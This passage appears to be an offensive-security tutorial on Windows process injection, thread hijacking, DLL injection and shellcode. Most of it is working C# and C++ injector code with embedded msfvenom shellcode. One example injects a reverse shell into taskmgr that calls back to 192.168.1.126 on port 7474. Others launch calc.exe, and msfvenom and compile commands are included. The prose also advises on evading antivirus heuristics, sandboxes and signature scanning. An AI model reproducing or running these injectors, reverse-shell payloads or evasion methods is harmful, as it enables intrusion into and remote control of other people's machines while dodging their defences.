0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,
0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
};
string proc = "userinit.exe";
// Start the target process
Process newproc;
newproc = Process.Start(proc);
Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
Console.WriteLine("Suspending process...");
// Suspend all threads in the process
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
SuspendThread(pOpenThread);
}
Console.WriteLine("Suspended!");
// Open the target process
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);
// Allocate memory in the target process
IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Console.WriteLine("Allocating memory");
// Write the shellcode into the allocated memory
WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
Console.WriteLine("Copied shellcode in memory");
// Create a remote thread in the target process to execute the shellcode
IntPtr pinfo = IntPtr.Zero;
IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
Console.WriteLine("Created remote thread");
Console.WriteLine("Resuming process...");
// Resume all threads in the process
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
ResumeThread(pOpenThread);
}
Console.WriteLine("Resumed!");
}
}
In this code, the following external libraries are used:
- `System.Diagnostics`: It provides classes for interacting with system processes, such as starting and monitoring processes.
- `System.Runtime.InteropServices`: It provides interop services for calling unmanaged code.
The code performs the following actions:
1. Defines constants for process access rights:
- `PROCESS_CREATE_THREAD`: Required to create a thread.
- `PROCESS_QUERY_INFORMATION`: Required to retrieve information about the process.
- `PROCESS_VM_OPERATION`: Required to perform virtual memory operations.
- `PROCESS_VM_WRITE`: Required to write to the process's memory.
- `PROCESS_VM_READ`: Required to read from the process's memory.
2. Imports external functions from Windows kernel32.dll and ntdll.dll using the `DllImport` attribute. These functions are used for low-level operations on processes and threads:
- `OpenThread`: Opens an existing thread object for access.
- `SuspendThread`: Suspends the execution of a thread.
- `ResumeThread`: Resumes the execution of a thread.
- `NtUnmapViewOfSection`: Unmaps a view of a section from the virtual address space of a target process.
- `OpenProcess`: Opens an existing local process object for access.
- `VirtualAllocEx`: Reserves or commits a region of memory within the virtual address space of a target process.
- `CreateRemoteThread`: Creates a thread that runs in the virtual address space of another process.
- `WaitForSingleObject`: Waits until the specified object is in the signaled state or the time-out interval elapses.
- `WriteProcessMemory`: Writes data to an area of memory in a specified process.
3. Defines constants for memory allocation and protection:
- `MEM_COMMIT`: Allocates memory and initializes it with zeroes.
- `PAGE_EXECUTE_READWRITE`: Enables read, write, and execute access to the allocated memory.
- `SUSPEND_RESUME`: Access rights required to suspend/resume a thread.
4. Defines the `Main` method, which is the entry point of the program.
5. Contains a byte array `shellcode` that represents the payload to be injected into the target process. The shellcode contains machine code instructions for executing the `calc.exe` calculator program.
6. Sets the target process name to "userinit.exe".
7. Starts the target process using `Process.Start(proc)`, where `proc` is the process name.
8. Suspends all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `SuspendThread` for each thread.
9. Opens the target process using `OpenProcess` to obtain a handle for subsequent operations.
10. Allocates memory in the target process using `VirtualAllocEx` and assigns the address of the allocated memory to `spaceAddr`.
11. Writes the shellcode into the allocated memory of the target process using `WriteProcessMemory`.
12. Creates a remote thread in the target process using `CreateRemoteThread`, which starts the execution of the shellcode.
13. Resumes all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `ResumeThread` for each thread.
The result is that the `calc.exe` calculator program will be injected and executed within the context of the target process specified by `userinit.exe`.
Thread (execution) hijacking
Thread hijacking is a technique used to take control of a running thread within a process and make it execute malicious code instead of its original instructions.
In simpler terms, thread hijacking is like sneaking into a factory, finding a worker, briefly freezing them, changing their tasks, and watching them unknowingly carry out a harmful action according to your new instructions.
At a high-level thread (execution) hijacking can be broken up into eleven steps:
- Locate and open a target process to control.
- Allocate memory region for malicious code.
- Write malicious code to allocated memory.
- Identify the thread ID of the target thread to hijack.
- Open the target thread.
- Suspend the target thread.
- Obtain the thread context.
- Update the instruction pointer to the malicious code.
- Rewrite the target thread context.
- Resume the hijacked thread.
- Opening the process: Imagine you want to control a locked room. To gain access, you first need to open the door. Similarly, in thread hijacking, you open the process you want to control using functions like
OpenProcessin C# orOpenProcessin C++.
IntPtr hProcess = OpenProcess(
ProcessAccessFlags.All, // Requests all possible access rights
false, // Child processes do not inherit parent process handle
processId // The ID of the target process
);
2. Allocating memory: Once you're inside the room, you need a place to write your secret message. In thread hijacking, you allocate a region in the process's memory using functions like VirtualAllocEx in C# or VirtualAllocEx in C++.
IntPtr remoteBuffer = VirtualAllocEx(
hProcess, // Opened target process
IntPtr.Zero,
shellcode.Length, // Size of memory allocation
AllocationType.Commit | AllocationType.Reserve, // Reserves and commits memory
MemoryProtection.ExecuteReadWrite // Enables execution and read/write access
);
3. Writing malicious code: Now, you write your secret message on the allocated space. Similarly, in thread hijacking, you write your malicious code to the allocated memory using functions like WriteProcessMemory in C# or WriteProcessMemory in C++.
WriteProcessMemory(
hProcess, // Opened target process
remoteBuffer, // Allocated memory region
shellcode, // Data to write
shellcode.Length, // Size of data in bytes
out _ // Ignored in this example
);
4. Identifying the target thread: Imagine there are many workers in the room, and you want to control a specific worker. In thread hijacking, you identify the target thread within the process using functions like CreateToolhelp32Snapshot, Thread32First, and Thread32Next in C# or C++.
THREADENTRY32 threadEntry = new THREADENTRY32();
IntPtr hSnapshot = CreateToolhelp32Snapshot(
SnapshotFlags.Thread, // Snapshot of all threads
processId // ID of the target process
);
Thread32First(
hSnapshot,
ref threadEntry
);
while (Thread32Next(
hSnapshot,
ref threadEntry
)) {
// Check if the thread belongs to the target process
if (threadEntry.th32OwnerProcessID == processId) {
IntPtr hThread = OpenThread(
ThreadAccessFlags.All, // Requests all possible access rights
false, // Child threads do not inherit parent thread handle
threadEntry.th32ThreadID // ID of the target thread
);
break;
}
}
5. Opening the target thread: Once you have identified the target worker (thread), you need to approach and communicate with them. In thread hijacking, you open the target thread using functions like OpenThread in C# or C++.
IntPtr hThread = OpenThread(
ThreadAccessFlags.All, // Requests all possible access rights
false, // Child threads do not inherit parent thread handle
threadEntry.th32ThreadID // ID of the target thread
);
6. Suspending the target thread: To prevent the worker (thread) from executing their original instructions, you temporarily pause them. In thread hijacking, you suspend the target thread using functions like SuspendThread in C# or C++.
SuspendThread(hThread);
7. Obtaining the thread context: While the worker (thread) is paused, you gather important information about their current state. In thread hijacking, you obtain the thread context using functions like GetThreadContext in C# or C++.
CONTEXT context = new CONTEXT();
context.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
GetThreadContext(
hThread,
ref context
);
8. Overwriting the instruction pointer (IP): The instruction pointer determines the next instruction for the worker (thread). In thread hijacking, you update the thread context to overwrite the instruction pointer and redirect it to your malicious code.
Note that context.Rip is for x86_64 process architecture. While context.Eip is for 32-bit x86 process architecutre.
context.Rip = (ulong)remoteBuffer; // Set RIP to the address of the malicious code
9. Updating the thread context: Once you have modified the context, you update it to the current thread. In thread hijacking, you set the modified thread context using functions like SetThreadContext in C# or C++.
SetThreadContext(
hThread,
ref context
);
10. Resuming the target thread: Now that the worker (thread) has been prepared, you allow them to execute your malicious code. In thread hijacking, you resume the target thread using functions like ResumeThread in C# or C++.
ResumeThread(hThread);
csharp example
The code below will inject a reverse shell into taskmgr with PID 1688.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class Program
{
// Native WinAPI functions
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
const int PROCESS_ALL_ACCESS = 0x1F0FFF;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RELEASE = 0x8000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
static void Main(string[] args)
{
// Obtain the target process (replace with the appropriate process ID)
Process targetProcess = Process.GetProcessById(1688);
// Open a handle to the target process
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetProcess.Id);
// Allocate memory within the target process
IntPtr pRemoteCode = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Write the shellcode to be injected into the allocated memory
int bytesWritten;
WriteProcessMemory(hProcess, pRemoteCode, shellcode, (uint)shellcode.Length, out bytesWritten);
// Create a remote thread in the target process that starts executing the injected shellcode
IntPtr hRemoteThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pRemoteCode, IntPtr.Zero, 0, IntPtr.Zero);
// Wait for the remote thread to finish
WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);
// Cleanup
CloseHandle(hRemoteThread);
// Use Marshal to invoke VirtualFreeEx
Marshal.FreeHGlobal(pRemoteCode);
CloseHandle(hProcess);
}
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f csharp
static byte[] shellcode = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x1d,0x32,
0xc0,0xa8,0x01,0x7e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,
0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,
0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,
0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,
0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x01,0x01,0x48,0x8d,
0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,
0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,
0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,
0xba,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,
0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};
}


c++ example
#include
#include
const char* shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{
// Open a handle to the target process (replace with the appropriate process ID)
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 504);
// Allocate memory within the target process
LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Write the shellcode to be injected into the allocated memory
WriteProcessMemory(hProcess, pRemoteCode, shellcode, strlen(shellcode), NULL);
// Create a remote thread in the target process that starts executing the injected shellcode
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
// Wait for the remote thread to finish
WaitForSingleObject(hRemoteThread, INFINITE);
// Cleanup
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
DLL Injection
In DLL injection, a programmer can inject a DLL file into a target process, which means that the code and data from the DLL become part of the running program. This allows the injected DLL to modify or enhance the behavior of the target process.
At a high-level DLL injection can be broken up into six steps:
- Locate a target process to inject.
- Open the target process.
- Allocate memory region for malicious DLL.
- Write the malicious DLL to allocated memory.
- Load and execute the malicious DLL.
Step 1: Find the target process First, we need to locate the program where we want to inject the DLL. This is done by using some special functions provided by Windows. Here's an example code snippet in C++:
#include
#include
DWORD getProcessId(const char* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &entry)) {
do {
if (!strcmp(entry.szExeFile, processName)) {
return entry.th32ProcessID;
}
} while (Process32Next(hSnapshot, &entry));
}
}
return 0; // Process not found
}
DWORD processId = getProcessId("target.exe");
Step 2: Open the target process Once we have the process ID (PID), we can open the target process using the PID. This allows us to access and manipulate its memory. Here's an example code snippet:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
Step 3: Allocate memory for the DLL Next, we need to allocate memory in the target process where we can place the DLL. This is done using the VirtualAllocEx function. Here's an example code snippet:
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Step 4: Write the DLL to the allocated memory After allocating memory, we can write the contents of the DLL into the allocated memory using the WriteProcessMemory function. Here's an example code snippet:
WriteProcessMemory(hProcess, dllAllocatedMemory, dllPath, strlen(dllPath) + 1, NULL);
Step 5: Load and execute the DLL Finally, we can load and execute the DLL in the target process. We use the LoadLibrary function to load the DLL, and then create a remote thread in the target process to start executing the DLL code. Here's an example code snippet:
LPVOID loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD
C# example
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class Program
{
// Import the necessary Windows API functions
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// Path to the DLL file to be injected
const string dllPath = "path/to/your/dll.dll";
static void Main()
{
// Get the target process by name
Process targetProcess = Process.GetProcessesByName("target")[0];
// Open the target process with all access rights
IntPtr hProcess = OpenProcess(0x1F0FFF, false, targetProcess.Id);
// Allocate memory in the target process to hold the DLL path
IntPtr dllMemory = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)dllPath.Length + 1, 0x00001000 | 0x00002000, 0x40);
// Write the DLL path to the allocated memory
byte[] dllPathBytes = System.Text.Encoding.ASCII.GetBytes(dllPath);
int bytesWritten;
WriteProcessMemory(hProcess, dllMemory, dllPathBytes, (uint)dllPathBytes.Length, out bytesWritten);
// Get the address of the LoadLibraryA function from kernel32.dll
IntPtr kernel32Module = GetModuleHandle("kernel32.dll");
IntPtr loadLibraryAddr = GetProcAddress(kernel32Module, "LoadLibraryA");
// Create a remote thread in the target process to load the DLL
IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddr, dllMemory, 0, IntPtr.Zero);
// Wait for the thread to finish
if (thread != IntPtr.Zero)
WaitForSingleObject(thread, 0xFFFFFFFF);
// Cleanup
CloseHandle(hProcess);
VirtualFreeEx(hProcess, dllMemory, (uint)dllPath.Length + 1, 0x8000);
}
}
AV Evasion Shellcode
AV Evasion MindMap
BypassAV/Bypass-AV.pdf at main · CMEPW/BypassAV (github.com)
AV Detection techniques
An AV detection technique searches for and detects malicious files; different detection techniques can be used within the AV engine, including:
Signature-based detection
Traditional AV technique that looks for predefined malicious patterns and signatures within files.
Heuristic detection
More advanced technique that includes various behavioral methods to analyze suspicious files.
Heuristic detection is a technique used in cybersecurity to identify potentially malicious or suspicious files or activities based on heuristics or rules. It involves analyzing the behavior, characteristics, or patterns of a file or code to determine if it exhibits traits commonly associated with malicious behavior. Unlike signature-based detection, which relies on known signatures or patterns, heuristic detection is more proactive and can detect previously unseen or unknown threats.
Here are some things you can do for evading heuristic detection:
- Polymorphic Code: Implementing code that dynamically modifies its structure or behavior upon execution can make it more challenging for heuristic detection to identify and classify the code as malicious.
- Anti-Analysis Techniques: Employing various anti-analysis techniques, such as code obfuscation, encryption, or packing, can make it harder for heuristic detection mechanisms to understand and analyze the code's true intent.
- Environmental Awareness: Heuristic detection often relies on identifying abnormal behavior or patterns. By mimicking normal system behavior or modifying code execution based on environmental factors (e.g., time, system state), it may be possible to evade heuristic detection mechanisms.
- Code Fragmentation: Splitting the malicious code into multiple fragments and executing them separately can make it harder for heuristic detection to piece together the entire malicious behavior, potentially leading to evasion.
Dynamic detection
A technique that includes monitoring the system calls and APIs and testing and analyzing in an isolated environment.
Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
- Sleep before execution Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
- Checking machine's resources Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
- Machine-specific checks If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
Static detection
Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
- Encryption If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
- Obfuscation Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
- Custom tooling If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
Shellcode
Shellcode is a special set of instructions that are created to make a vulnerable program do things it shouldn't. Usually, it's used to gain control over the program and do malicious actions. For example, it can open up a system shell or create a connection for remote control.
When the shellcode is put into a process and executed by the vulnerable program, it changes how the program works. It updates registers (special memory storage) and functions so that the attacker's code gets executed.
Shellcode is typically written in Assembly language, which is a low-level programming language. It's then translated into hexadecimal codes, which are specific instructions that computers understand. Creating unique and custom shellcode helps bypass antivirus software, but it's not easy to do. It requires advanced knowledge and skill in Assembly language, which can be quite challenging.
Save code below as helloworld.asm.
section .text
global _start
_start:
jmp MESSAGE ; 1) Let's jump to MESSAGE
GOBACK:
mov rax, 0x1
mov rdi, 0x1
pop rsi ; 3) We are popping into `rsi`; now we have the
; address of "Hello, World!\r\n"
mov rdx, 0xd
syscall
mov rax, 0x3c
xor rdi, rdi ; Clear rdi (exit code 0)
syscall
MESSAGE:
call GOBACK ; 2) We are going back, since we used `call`, that means
; the return address, which is, in this case, the address
; of "Hello, World!\r\n", is pushed into the stack.
db "Hello, World!", 0dh, 0ah
- We start by jumping to the
MESSAGElabel. This means we want to execute the code starting from theMESSAGElabel.
- We then encounter the
GOBACKroutine. This routine is called usingcall, which pushes the address of the next instruction (the address of the message) onto the stack. It allows us to retrieve the address of the message later.
- Inside the
GOBACKroutine, we first prepare the registers to call thesys_writefunction. We setraxto 1 to indicate that we want to use thesys_writefunction. We setrdito 1, which represents the standard output (STDOUT) file descriptor. We pop the address of the message from the stack and store it inrsi, which will be used as the pointer to the message. Finally, we setrdxto 0xd (13 in decimal), which represents the length of the message.
- After preparing the registers, we execute the
syscallinstruction to call thesys_writefunction. This will print the message to the console.
- Next, we set
raxto 0x3c, which represents thesys_exitfunction. We clearrdiby usingxor rdi, rdi, which sets it to 0 (indicating exit code 0).
- Finally, we execute the
syscallinstruction again to call thesys_exitfunction. This will exit the program.
In summary, the code sets up the necessary registers and uses system calls (sys_write and sys_exit) to print the "Hello, World!" message and then exit the program. The message itself is stored at the MESSAGE label, and the GOBACK routine is used to retrieve its address before calling sys_write.
# Assembler and link our code
user@AttackBox$ nasm -f elf64 helloworld.asm
user@AttackBox$ ld helloworld.o -o helloworld
user@AttackBox$ ./helloworld
"Hello, World!"
Lets extract the shellcode with the objdump command by dumping the .text section of the compiled binary.
objdump -d helloworld
To extract the hexadecimal values from the output, you can utilize objcopy to dump the .text section into a binary file named helloworld.text.
objcopy -j .text -O binary helloworld helloworld.text
To convert the helloworld.text file containing the shellcode in binary format to hexadecimal, the xxd command with the -i option can be used to output the binary file as a C string.
xxd -i helloworld.text
To confirm that the extracted shellcode works as we expected, we can execute our shellcode and inject it into a C program.
#include
int main(int argc, char **argv) {
unsigned char message[] = {
**SHELLCODE**
};
(*(void(*)())message)();
return 0;
}
Compile it
gcc -g -Wall -z execstack helloworld.c -o helloworldx
Generating shellcode
The advantage of generating shellcode via public tools is that we don't need to craft a custom shellcode from scratch, and we don't even need to be an expert in assembly language. Most public C2 frameworks provide their own shellcode generator compatible with the C2 platform. Of course, this is so convenient for us, but the drawback is that most, or we can say all, generated shellcodes are well-known to AV vendors and can be easily detected.
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
Add the shellcode to this C code which will inject it into memory and execute calc.exe.
#include
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
DWORD oldProtect;
VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
int (*shellcode)() = (int(*)())(void*)stager;
shellcode();
}
The provided code snippet is a Windows C program that contains a shellcode stager. It first defines a shellcode as a character array. Then, in the main() function, it uses VirtualProtect() to mark the shellcode as executable. Next, it casts the shellcode array as a function pointer and executes the shellcode using the shellcode() function.
Overall, this code allows the execution of the shellcode stored in the stager array by marking it as executable and then invoking it as a function.
Compile it.
i686-w64-mingw32-gcc calc.c -o calc-MSF.exe
Generate shellcode from EXE
